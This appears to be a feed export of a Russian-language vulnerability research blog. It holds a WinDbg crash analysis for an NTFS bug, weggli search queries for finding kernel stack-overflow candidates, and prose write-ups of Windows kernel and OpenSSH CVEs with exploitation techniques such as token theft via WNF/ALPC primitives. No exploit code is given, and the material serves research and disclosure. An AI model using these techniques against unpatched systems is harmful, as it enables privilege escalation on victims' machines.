    Key  : Bugcheck.Code.LegacyAPI
    Value: 0x50

    Key  : Bugcheck.Code.TargetModel
    Value: 0x50

    Key  : Failure.Bucket
    Value: AV_VRF_Ntfs!PageUpdateAnalysis

    Key  : Failure.Exception.IP.Address
    Value: 0xfffff80628a319a0

    Key  : Failure.Exception.IP.Module
    Value: Ntfs

    Key  : Failure.Exception.IP.Offset
    Value: 0x1d19a0

    Key  : Failure.Hash
    Value: {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e}

    Key  : Faulting.IP.Type
    Value: Paged

    Key  : Hypervisor.Enlightenments.Value
    Value: 1113060

    Key  : Hypervisor.Enlightenments.ValueHex
    Value: 0x10fbe4

    Key  : Hypervisor.Flags.AnyHypervisorPresent
    Value: 1

    Key  : Hypervisor.Flags.ApicEnlightened
    Value: 0

    Key  : Hypervisor.Flags.ApicVirtualizationAvailable
    Value: 0

    Key  : Hypervisor.Flags.AsyncMemoryHint
    Value: 0

    Key  : Hypervisor.Flags.CoreSchedulerRequested
    Value: 0

    Key  : Hypervisor.Flags.CpuManager
    Value: 0

    Key  : Hypervisor.Flags.DeprecateAutoEoi
    Value: 1

    Key  : Hypervisor.Flags.DynamicCpuDisabled
    Value: 1

    Key  : Hypervisor.Flags.Epf
    Value: 0

    Key  : Hypervisor.Flags.ExtendedProcessorMasks
    Value: 1

    Key  : Hypervisor.Flags.HardwareMbecAvailable
    Value: 0

    Key  : Hypervisor.Flags.MaxBankNumber
    Value: 0

    Key  : Hypervisor.Flags.MemoryZeroingControl
    Value: 0

    Key  : Hypervisor.Flags.NoExtendedRangeFlush
    Value: 0

    Key  : Hypervisor.Flags.NoNonArchCoreSharing
    Value: 0

    Key  : Hypervisor.Flags.Phase0InitDone
    Value: 1

    Key  : Hypervisor.Flags.PowerSchedulerQos
    Value: 0

    Key  : Hypervisor.Flags.RootScheduler
    Value: 0

    Key  : Hypervisor.Flags.SynicAvailable
    Value: 1

    Key  : Hypervisor.Flags.UseQpcBias
    Value: 0

    Key  : Hypervisor.Flags.Value
    Value: 528572

    Key  : Hypervisor.Flags.ValueHex
    Value: 0x810bc

    Key  : Hypervisor.Flags.VpAssistPage
    Value: 1

    Key  : Hypervisor.Flags.VsmAvailable
    Value: 0

    Key  : Hypervisor.RootFlags.AccessStats
    Value: 0

    Key  : Hypervisor.RootFlags.CrashdumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.CreateVirtualProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.DisableHyperthreading
    Value: 0

    Key  : Hypervisor.RootFlags.HostTimelineSync
    Value: 0

    Key  : Hypervisor.RootFlags.HypervisorDebuggingEnabled
    Value: 0

    Key  : Hypervisor.RootFlags.IsHyperV
    Value: 0

    Key  : Hypervisor.RootFlags.LivedumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.MapDeviceInterrupt
    Value: 0

    Key  : Hypervisor.RootFlags.MceEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.Nested
    Value: 0

    Key  : Hypervisor.RootFlags.StartLogicalProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.Value
    Value: 0

    Key  : Hypervisor.RootFlags.ValueHex
    Value: 0x0

    Key  : SecureKernel.HalpHvciEnabled
    Value: 0

    Key  : WER.OS.Branch
    Value: ge_release

    Key  : WER.OS.Version
    Value: 10.0.26100.1


BUGCHECK_CODE:  50

BUGCHECK_P1: ffff8f8d385d1000

BUGCHECK_P2: 2

BUGCHECK_P3: fffff80628a319a0

BUGCHECK_P4: 2

FAULTING_THREAD:  ffff8f8d2e595040

EXCEPTION_PARAMETER1:  0000000000000001

EXCEPTION_PARAMETER2:  ffff8f8d385d1000

WRITE_ADDRESS:  ffff8f8d385d1000 Special pool

MM_INTERNAL_CODE:  2

PROCESS_NAME:  System

IP_IN_PAGED_CODE: 
Ntfs!PageUpdateAnalysis+140
fffff806`28a319a0 498944ca20      mov     qword ptr &#x5B;r10+rcx*8+20h],rax

STACK_TEXT:  
ffffe180`efdef068 fffff806`959ace42     : ffffe180`efdef0e8 00000000`00000001 00000000`00000080 fffff806`95ab7901 : nt!DbgBreakPointWithStatus
ffffe180`efdef070 fffff806`959ac36c     : 00000000`00000003 ffffe180`efdef1d0 fffff806`95ab7b00 ffffe180`efdef790 : nt!KiBugCheckDebugBreak+0x12
ffffe180`efdef0d0 fffff806`958f6537     : 00000000`00000000 fffff806`957d1cb6 ffff8f8d`385d1000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffe180`efdef860 fffff806`957d194c     : 00000000`00000050 ffff8f8d`385d1000 00000000`00000002 ffffe180`efdefb00 : nt!KeBugCheckEx+0x107
ffffe180`efdef8a0 fffff806`95640510     : 00000000`00000000 ffff8000`00000000 ffff8f8d`385d1000 0000007f`fffffff8 : nt!MiSystemFault+0x7a0
ffffe180`efdef990 fffff806`95aacfcb     : 00000000`00000000 00000000`00000000 00000000`00000008 00000000`00000000 : nt!MmAccessFault+0x630
ffffe180`efdefb00 fffff806`28a319a0     : ffffe180`efdeff90 00000000`00000001 ffff8f8d`356279b8 00000000`00000001 : nt!KiPageFault+0x38b
ffffe180`efdefc90 fffff806`28a30f6f     : 00000000`00a8942b ffffe180`efdf08f0 ffff8f8d`357c85d8 00000000`000000e0 : Ntfs!PageUpdateAnalysis+0x140
ffffe180`efdefe10 fffff806`28a95000     : ffff8f8d`3514b7c8 ffff8f8d`357c81b0 00000000`00000000 ffffe180`efdeff90 : Ntfs!AnalysisPass+0x22b
ffffe180`efdeff30 fffff806`28a1c3be     : ffff8f8d`3514b988 00000000`00000001 ffff8f8d`3514b7c8 ffff8f8d`3514b988 : Ntfs!NtfsRestartVolume+0xbc
ffffe180`efdf00a0 fffff806`28a19f86     : 00000000`00000000 00000000`00000000 00000000`00000000 ffff8f8d`2e5950b8 : Ntfs!NtfsMountVolume+0x1816
ffffe180`efdf07e0 fffff806`2888e639     : ffff8f8d`3514b7c8 ffffe180`efdf08f0 00000000`00000008 ffff8f8d`2e595040 : Ntfs!NtfsCommonFileSystemControl+0xb6
ffffe180`efdf08c0 fffff806`956db7ec     : ffff8f8d`2e595040 ffff8f8d`2e595040 ffff8f8d`2a757ae0 fffff806`2888e020 : Ntfs!NtfsFspDispatch+0x619
ffffe180`efdf0a10 fffff806`95881afa     : ffff8f8d`2e595040 ffff8f8d`2e595040 fffff806`956db200 ffff8f8d`2a757ae0 : nt!ExpWorkerThread+0x5ec
ffffe180`efdf0bf0 fffff806`95a9ef84     : fffff806`2625e180 ffff8f8d`2e595040 fffff806`95881aa0 00000000`00000000 : nt!PspSystemThreadStartup+0x5a
ffffe180`efdf0c40 00000000`00000000     : ffffe180`efdf1000 ffffe180`efdeb000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x34


SYMBOL_NAME:  Ntfs!PageUpdateAnalysis+140

MODULE_NAME: Ntfs

IMAGE_NAME:  Ntfs.sys

IMAGE_VERSION:  10.0.26100.6899

STACK_COMMAND: .process /r /p 0xffff8f8d2a691040; .thread /r /p 0xffff8f8d2e595040 ; kb

BUCKET_ID_FUNC_OFFSET:  140

FAILURE_BUCKET_ID:  AV_VRF_Ntfs!PageUpdateAnalysis

OS_VERSION:  10.0.26100.1

BUILDLAB_STR:  ge_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

FAILURE_ID_HASH:  {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e}

Followup:     MachineOwner
---------

</pre></div>


<p class="wp-block-paragraph">Дальнейшая эксплуатация уязвимости не представляет сложности.</p>



<h3 class="wp-block-heading">Хронология раскрытия информации</h3>



<ul class="wp-block-list">
<li><strong>23 сентября 2025 года</strong> — производитель был уведомлен об уязвимости и получил технический отчет.</li>



<li><strong>25 сентября 2025 года</strong> — производитель завершил внутренний анализ и подтвердил наличие уязвимости. Были предоставлены предварительные сроки выпуска исправления и публикации бюллетеня безопасности.</li>



<li><strong>26 сентября 2025 года</strong> — производитель был уведомлен о планируемом публичном раскрытии информации.</li>



<li><strong>13 января 2026 года</strong> — были выпущены обновления безопасности и опубликован бюллетень.</li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>How to CVE-2025-54916? Low-effort vulnerability research</title>
		<link>/how-to-cve-2025-54916-low-effort-vulnerability-research/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Mon, 15 Sep 2025 11:41:37 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[escvr]]></category>
		<category><![CDATA[win]]></category>
		<guid isPermaLink="false">http://localhost:8080/how-to-cve-2025-54916-low-effort-vulnerability-research/</guid>

					<description><![CDATA[How to CVE-2025-54916? Low-effort vulnerability research 💻 Привет, на связи ESC-VR. Формат поста в телеграме редко подходит для разборов комплексных уязвимостей, но баг, найденный нами в недрах NTFS, исправленный сентябрьским патчем, можно…]]></description>
										<content:encoded><![CDATA[<strong>How to CVE-2025-54916? Low-effort vulnerability research</strong> 💻<br />
<br />
Привет, на связи ESC-VR.<br />
<br />
Формат поста в телеграме редко подходит для разборов комплексных уязвимостей, но баг, найденный нами в недрах NTFS, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54916" rel="noopener" target="_blank">исправленный сентябрьским патчем</a>, можно было найти весьма необычным способом (<em>и мы смогли уложить рассказ об этом в пост</em>).<br />
<br />
Если вы интересуетесь анализом уязвимостей, наверняка слышали про CodeQL, SonarQube, Snyk, Semgrep — классические SAST-системы. Их общий минус: чаще всего нужен полный доступ к исходникам. Когда его нет, ценность таких инструментов быстро стремится к нулю, а сложность запросов мешает применять их к декомпилированным листингам или фрагментам кода.<br />
<br />
Нужно что-то простое, с понятным языком запросов и без требования полной кодовой базы. Такое решение есть — это <a href="https://github.com/weggli-rs/weggli" rel="noopener" target="_blank">weggli-rs</a>: интерактивная, консольная утилита для выполнения семантического поиска. Она подходит для поиска по декомпилированным листингам и частичным кодовым базам.<br />
<br />
Что мы называем «частичными кодовыми базами»? Например, утекшие исходники Windows XP SP1, <a href="https://www.zdnet.com/article/windows-xp-leak-confirmed-after-user-compiles-the-leaked-code-into-a-working-os/" rel="noopener" target="_blank">слитые</a> в 2020 году. Несмотря на возраст, это бесценный источник знаний о внутренностях современной Windows.<br />
<br />
🎯 <strong>Наша цель:</strong> найти классические переполнения стека через вызовы <code>memcpy</code>/<code>memmove</code>. Ищем функцию, где:<br />
<br />
• на стеке объявлен буфер;<br />
• есть вызов <code>memcpy</code>/<code>memmove</code>;<br />
• в первый аргумент передается адрес этого стекового буфера.<br />
<br />
Этого достаточно, чтобы собрать множество кандидатов на stack buffer overflow (не все, но многие). Запрос на weggli:<br />
<br />
<pre class="wp-block-code"><span><code lang="powershell" class="hljs language-powershell language-powershell">weggli <span class="hljs-literal">-R</span> <span class="hljs-string">"<span class="hljs-variable">$func</span>=RtlCopyMemory|memmove|memcpy"</span> <span class="hljs-string">"_ <span class="hljs-variable">$v</span>; <span class="hljs-variable">$func</span>(&amp;<span class="hljs-variable">$v</span>,_,_)"</span>
</code></span></pre><br />
<br />
Дальше нужно сужать выборку. Например, требуем, чтобы размер копируемого буфера задавался выражением с вычитанием. Таким образом мы подсвечиваем места с риском целочисленного underflow:<br />
<br />
<pre class="wp-block-code"><span><code lang="powershell" class="hljs language-powershell language-powershell">weggli.exe <span class="hljs-literal">-R</span> <span class="hljs-string">"<span class="hljs-variable">$func</span>=RtlCopyMemory|memmove|memcpy"</span> <span class="hljs-string">"_ <span class="hljs-variable">$v</span>; <span class="hljs-variable">$func</span>(&amp;<span class="hljs-variable">$v</span>,_,_(_-_))"</span>
</code></span></pre><br />
<br />
Уязвимость, закрытую в сентябре, можно было подсветить таким запросом:<br />
<br />
<pre class="wp-block-code"><span><code lang="powershell" class="hljs language-powershell language-powershell">weggli <span class="hljs-literal">-R</span> <span class="hljs-string">"<span class="hljs-variable">$func</span>=RtlCopyMemory|memmove|memcpy"</span> <span class="hljs-string">"_ <span class="hljs-variable">$v</span>; <span class="hljs-variable">$func</span>(&amp;<span class="hljs-variable">$v</span>,_,_(<span class="hljs-variable">$a</span>-&gt;<span class="hljs-variable">$b</span>))
</span></code></span></pre><br />
<br />
<strong>В данном шаблоне мы ищем все функции, в которых:</strong><br />
<br />
• на стеке объявлен буфер;<br />
• есть вызов <code>memcpy</code>/<code>memmove</code>;<br />
• в первый аргумент передается адрес этого стекового буфера;<br />
• размер копируемого буфера определяется полем какой бы то ни было структуры.<br />
<br />
В заключение мы призываем вас попробовать использовать weggli-rs и найти исправленную уязвимость в исходном коде Windows XP SP1.<br />
<br />
HINT: <span class="spoiler">кажется, искать нужно в base/fs, а в названии уязвимой функции было что-то связанное с записью в лог или еще куда</span> 😏<br />
<br />
А если вы хотите узнать, как стриггерить эту уязвимость, то ознакомьтесь с <a href="https://swarm.ptsecurity.com/buried-in-the-log-exploiting-a-20-years-old-ntfs-vulnerability/" rel="noopener" target="_blank">нашим предыдущим исследованием</a>, опубликованным в блоге PT SWARM.<br />
<br />
<span class="hashtag">#escvr</span> <span class="hashtag">#cve</span> <span class="hashtag">#win</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Корни уязвимости CVE-2024-30085</title>
		<link>/the-roots-of-vulnerability-cve-2024-30085/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Tue, 11 Mar 2025 17:10:26 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[escvr]]></category>
		<category><![CDATA[win]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%ba%d0%be%d1%80%d0%bd%d0%b8-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8-cve-2024-30085/</guid>

					<description><![CDATA[Корни уязвимости CVE-2024-30085 🌳 Еще в сентябре прошлого года мы в ESC-VR успешно воспроизвели эксплойт для CVE-2024-30085 — уязвимости в подсистеме Windows Cloud Files Mini Filter. Код подсистемы располагается в cldflt.sys —…]]></description>
										<content:encoded><![CDATA[<p><strong>Корни уязвимости CVE-2024-30085</strong> 🌳</p>
<p>Еще в сентябре прошлого года мы в ESC-VR <a href="https://t.me/ptescalator/80" rel="noopener" target="_blank">успешно воспроизвели</a> эксплойт для <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30085" rel="noopener" target="_blank">CVE-2024-30085</a> — уязвимости в подсистеме Windows Cloud Files Mini Filter. Код подсистемы располагается в <code>cldflt.sys</code> — это драйвер мини-фильтра, и он относится к предустановленному клиенту облачного сервиса Microsoft OneDrive.</p>
<p>Используя уязвимость и связку WNF + ALPC, мы создали примитивы на чтение и запись в ядерную память. Благодаря этому украли системный токен и запустили терминал с правами <code>NT AUTHORITY\SYSTEM</code>.</p>
<p>🧐 На днях в продолжение публикации мы выпустили подробный разбор уязвимости CVE-2024-30085 и техник, применимых во время эксплуатации кучи в ядре <code>Windows 10 22H2 19045.3803</code>.</p>
<p>Читайте разбор <a href="https://habr.com/ru/companies/pt/articles/885302/" rel="noopener" target="_blank">в блоге на Хабре</a>.</p>
<p><span class="hashtag">#escvr</span> <span class="hashtag">#cve</span> <span class="hashtag">#win</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Что произошло с безопасностью OpenSSH в 2024 году</title>
		<link>/what-happened-to-openssh-security-in-2024/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Thu, 30 Jan 2025 11:31:34 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[escvr]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%87%d1%82%d0%be-%d0%bf%d1%80%d0%be%d0%b8%d0%b7%d0%be%d1%88%d0%bb%d0%be-%d1%81-%d0%b1%d0%b5%d0%b7%d0%be%d0%bf%d0%b0%d1%81%d0%bd%d0%be%d1%81%d1%82%d1%8c%d1%8e-openssh-%d0%b2-2024-%d0%b3%d0%be%d0%b4/</guid>

					<description><![CDATA[Что произошло с безопасностью OpenSSH в 2024 году 🚪 Взглянем на таймлайн: • Весна. Бэкдор в xz-utils (CVE-2024-3094). В результате его внедрения были скомпрометированы системы с systemd, в которых в OpenSSH есть…]]></description>
										<content:encoded><![CDATA[<p><strong>Что произошло с безопасностью OpenSSH в 2024 году</strong> 🚪</p>
<p>Взглянем на таймлайн:</p>
<p><strong>• Весна</strong>. Бэкдор в xz-utils (<code>CVE-2024-3094</code>). В результате его внедрения были скомпрометированы системы с <code>systemd</code>, в которых в OpenSSH есть зависимость <code>liblzma</code>, отсутствующая в нем изначально и самим OpenSSH напрямую не используемая <span class="spoiler">(то есть скорее речь об атаке на цепочку поставок этих дистрибутивов, а не конкретно на OpenSSH)</span>.</p>
<p><strong>• Июль</strong>. Критически опасная уязвимость «состояния гонки» для систем на базе glibc, получившая название regreSSHion (<code>CVE-2024-6387</code>) и представляющая собой перерожденную <code>CVE-2006-5051</code>.</p>
<p><strong>• Все тот же июль.</strong> Опубликована схожая проблема, получившая идентификатор <code>CVE-2024-6409</code>.</p>
<p><strong>• Август</strong>. Еще одна, уже специфичная для FreeBSD, <code>CVE-2024-7589</code>.</p>
<p>❔ <strong>Что это вообще было</strong></p>
<p>Исследователи утверждают, что успешная эксплуатация «состояний гонки» позволяет получить RCE на подверженных системах. Более того, regreSSHion — главный баг (затрагивает привилегированный процесс <code>sshd</code>) — ставит под угрозу безопасность множества SSH-серверов с glibc. Эксплуатация уязвимости не требует особой конфигурации сервера (проблема актуальна и для конфигурации по умолчанию). <strong>Но при этом публичного PoC нет до сих пор</strong>.</p>
<p>Мы решили разобраться, так ли опасны эти «состояния гонки» и какие механизмы в <code>sshd</code> призваны не допустить эксплуатации этой уязвимости или хотя бы уменьшить ущерб в случае успешной атаки. Попутно провели обзор и остальных уязвимостей OpenSSH прошедшего года.</p>
<p>🔣 И теперь все это с технической базой <s>и экскурсом на 30 секунд</s> доступно <a href="https://habr.com/ru/companies/pt/articles/877102/" rel="noopener" target="_blank">в нашем блоге на Хабре</a><a href="https://habr.com/ru/companies/pt/articles/877102/" rel="noopener" target="_blank">.</a> Enjoy!</p>
<p><span class="hashtag">#CVE</span> <span class="hashtag">#escvr</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Not a Pwn2Own bug</title>
		<link>/not-a-pwn2own-bug/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Mon, 25 Nov 2024 16:50:07 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[escvr]]></category>
		<guid isPermaLink="false">http://localhost:8080/not-a-pwn2own-bug/</guid>

					<description><![CDATA[Not a Pwn2Own bug 🙂 CVE-2024-43641: ошибка типа CWE-190 позволяла переполнить счетчик ссылок на экземпляр _CM_KEY_SECURITY. Уязвимый код располагался в ntoskrnl.exe — в функции CmpSetSecurityDescriptorInfo (скриншот 1). Для того чтобы достигнуть уязвимого…]]></description>
										<content:encoded><![CDATA[<p><strong>Not a Pwn2Own bug</strong> 🙂</p>
<p><strong>CVE-2024-43641</strong>: ошибка типа <a href="https://cwe.mitre.org/data/definitions/190.html" rel="noopener" target="_blank">CWE-190</a> позволяла переполнить счетчик ссылок на экземпляр <code>_CM_KEY_SECURITY</code>. Уязвимый код располагался в <code>ntoskrnl.exe</code> — в функции CmpSetSecurityDescriptorInfo (<em>скриншот 1</em>).</p>
<p>Для того чтобы достигнуть уязвимого кода, необходимо открыть или создать ключ реестра в режиме транзакций. Сделать это можно через функцию <code>RegCreateKeyTransacted</code>. Так как нет ограничения на количество операций, которые могут быть записаны в рамках одной транзакции, мы можем последовательно вызывать функцию <code>NtSetSecurityObject</code>. И каждый такой вызов <strong>будет увеличивать счетчик ссылок на 1</strong>. </p>
<p>Для того чтобы уязвимость «сдетонировала», необходимо прокрутить значение счетчика ссылок так, чтобы его значение стало меньше реального количества операций, записанных в рамках транзакции. Если это условие будет соблюдено, то после транзакции ячейка <code>_CM_KEY_SECURITY</code> будет освобождена раньше, чем закончатся операции, которые нужно завершить, что приведет к использованию освободившейся памяти (<em>скриншот 2</em>).</p>
<p><em>На третьем скриншоте</em> — часть функции <code>CmpDereferenceSecurityNode</code>, отвечающая за уменьшение числа ссылок и освобождение <code>_CM_KEY_SECURITY</code>.</p>
<p>🩹 <strong>О патче</strong></p>
<p>Патч переработал то, как подсистема Cоnfiguration Manager (СM) работает со ссылками на  <code>_CM_KEY_SECURITY</code>, добавив как минимум две новые функции — <code>CmpKeySecurityDecrementReferenceCount</code> и <code>CmpKeySecurityIncrementReferenceCount</code>, которые теперь будут выдавать bugcheck, если количество ссылок станет равным нулю или после инкремента их будет меньше, чем до (<em>скриншот 4</em>).</p>
<p>К счастью, вряд ли уязвимость можно отнести к эксплуатабельным, так как, чтобы переполнить счетчик ссылок, последовательно увеличивая его на 1, потребуется очень много времени, да и окно, в рамках которого у нас есть возможность «подсунуть» что-то, слишком маленькое и неконтролируемое.</p>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/11/photo_133@25-11-2024_16-50-07-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/11/photo_133@25-11-2024_16-50-07-1024x1024.jpg 1024w, /wp-content/uploads/2024/11/photo_133@25-11-2024_16-50-07-300x300.jpg 300w, /wp-content/uploads/2024/11/photo_133@25-11-2024_16-50-07-150x150.jpg 150w, /wp-content/uploads/2024/11/photo_133@25-11-2024_16-50-07-768x768.jpg 768w, /wp-content/uploads/2024/11/photo_133@25-11-2024_16-50-07.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/11/photo_134@25-11-2024_16-50-07-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/11/photo_134@25-11-2024_16-50-07-1024x1024.jpg 1024w, /wp-content/uploads/2024/11/photo_134@25-11-2024_16-50-07-300x300.jpg 300w, /wp-content/uploads/2024/11/photo_134@25-11-2024_16-50-07-150x150.jpg 150w, /wp-content/uploads/2024/11/photo_134@25-11-2024_16-50-07-768x768.jpg 768w, /wp-content/uploads/2024/11/photo_134@25-11-2024_16-50-07.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/11/photo_135@25-11-2024_16-50-07-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/11/photo_135@25-11-2024_16-50-07-1024x1024.jpg 1024w, /wp-content/uploads/2024/11/photo_135@25-11-2024_16-50-07-300x300.jpg 300w, /wp-content/uploads/2024/11/photo_135@25-11-2024_16-50-07-150x150.jpg 150w, /wp-content/uploads/2024/11/photo_135@25-11-2024_16-50-07-768x768.jpg 768w, /wp-content/uploads/2024/11/photo_135@25-11-2024_16-50-07.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#cve</span> <span class="hashtag">#escvr</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Детали уязвимости CVE-2024-43629</title>
		<link>/cve-2024-43629-vulnerability-details/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Wed, 13 Nov 2024 16:03:34 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[escvr]]></category>
		<category><![CDATA[win]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%8d%d0%ba%d1%81%d0%ba%d0%bb%d1%8e%d0%b7%d0%b8%d0%b2%d0%bd%d0%be-%d0%b4%d0%bb%d1%8f-escalator-%d0%ba%d0%be%d0%bc%d0%b0%d0%bd%d0%b4%d0%b0-esc-vr-%d1%80%d0%b0%d1%81%d1%81%d0%ba%d0%b0%d0%b7%d1%8b%d0%b2/</guid>

					<description><![CDATA[😏 Эксклюзивно для Escalator команда ESC-VR рассказывает о деталях уязвимости (CVE-2024-43629), которую мы нашли в компоненте Desktop Window Manage, позволяющей повысить привилегии до уровня системных. Уязвимость находилась в библиотеке dwmcore.dll в функции…]]></description>
										<content:encoded><![CDATA[<p>😏<strong> Эксклюзивно для Escalator команда ESC-VR рассказывает о деталях уязвимости (</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43629" rel="noopener" target="_blank">CVE-2024-43629</a><strong>)</strong>, которую мы нашли в компоненте Desktop Window Manage, позволяющей повысить привилегии до уровня системных.</p>
<p>Уязвимость находилась в библиотеке <code>dwmcore.dll</code> в функции <code>CPrimitiveGroupDrawListBrush::IsColorConversionRequired</code> (<em>скриншот 1</em>). При совместном использовании классов <code>СSurfaceBrush</code> и <code>CPrimitiveGroup</code> она позволяла достичь кода, который осуществляет вычисление положения экземпляра класса <code>CDrawListBitmap</code> в массиве <code>drawListBitmap_Vec</code>, располагающемся, в свою очередь, в экземпляре класса <code>CPrimitiveGroupDrawListGenerator</code>. </p>
<p>При определенном сочетании свойств экземпляров <code>СSurfaceBrush</code> и <code>CPrimitiveGroup</code> могла сложиться ситуация, при которой указатель <code>drawListBitmap_Vec</code> был бы равен нулю и все вычисления свелись бы только к работе с индексом, а его значение полностью контролировалось бы атакующим и имело размер <code>DWORD</code>. Таким образом можно было бы перехватить указатель на объект <code>CDrawListBitmap</code> (<em>скриншот 2</em>).</p>
<figure class="wp-block-image"><img width="1024" height="501" src="/wp-content/uploads/2024/11/photo_123@13-11-2024_16-03-34-1024x501.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/11/photo_123@13-11-2024_16-03-34-1024x501.jpg 1024w, /wp-content/uploads/2024/11/photo_123@13-11-2024_16-03-34-300x147.jpg 300w, /wp-content/uploads/2024/11/photo_123@13-11-2024_16-03-34-768x376.jpg 768w, /wp-content/uploads/2024/11/photo_123@13-11-2024_16-03-34.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#escvr</span> <span class="hashtag">#win</span> <span class="hashtag">#cve</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Эксплойт для CVE-2024-30085</title>
		<link>/exploit-for-cve-2024-30085/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Tue, 10 Sep 2024 12:26:40 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[escvr]]></category>
		<category><![CDATA[news]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bc%d1%8b-esc-vr-%d1%83%d1%81%d0%bf%d0%b5%d1%88%d0%bd%d0%be-%d0%b2%d0%be%d1%81%d0%bf%d1%80%d0%be%d0%b8%d0%b7%d0%b2%d0%b5%d0%bb%d0%b8-%d1%8d%d0%ba%d1%81%d0%bf%d0%bb%d0%be%d0%b9%d1%82-%d0%b4%d0%bb/</guid>

					<description><![CDATA[Мы, ESC-VR, успешно воспроизвели эксплойт для CVE-2024-30085 😎 Уязвимость фигурировала на прошедшем в Pwn2Own 2024 в Ванкувере, где Team Theori использовала эксплойт для этой уязвимости в цепочке эксплойтов, осуществляющих Guest-To-Host-Escape из-под управления…]]></description>
										<content:encoded><![CDATA[<strong>Мы, ESC-VR, успешно воспроизвели эксплойт для </strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30085" rel="noopener" target="_blank">CVE-2024-30085</a>  😎<br />
<br />
Уязвимость фигурировала на прошедшем в Pwn2Own 2024 в Ванкувере, где Team Theori использовала эксплойт для этой уязвимости в цепочке эксплойтов, осуществляющих Guest-To-Host-Escape из-под управления VMware Workstation, за что и получили свои заслуженные 13 очков в номинации Master Of Pwn.<br />
<br />
Соревнования по типу pwn2own и matrixcup помогают подсветить реально эксплуатируемые уязвимости, эксплойты для которых, как правило, не разглашаются (в результате чего образуется состояние Known-Unkown, когда известно, что эксплойт есть, но как он работает неизвестно), и обратить на них особое внимание, ведь за подобными соревнованиями следим не только мы, но и злоумышленник, который может их воспроизвести и проэксплуатировать против незапатченной системы.<br />
<br />
🧐 <code>Cldflt.sys</code> — это драйвер мини-фильтр, отвечающий за синхронизацию между пользовательской файловой системой и облаком OneDrive. В драйвере существовала ошибка <code>CWE-122</code>, возникающая в результате некорректной проверки размера bitmap, содержимое которого получается из <a href="https://learn.microsoft.com/en-us/windows/win32/fileio/reparse-points" rel="noopener" target="_blank">Reparse Point</a>. При этом память, аллоцируемая под bitmap, имеет фиксированный <strong>размер 4096 байт</strong>, но при этом не проверяется размер актуальных данных, которые будут скопированы в аллоцированную память. <br />
<br />
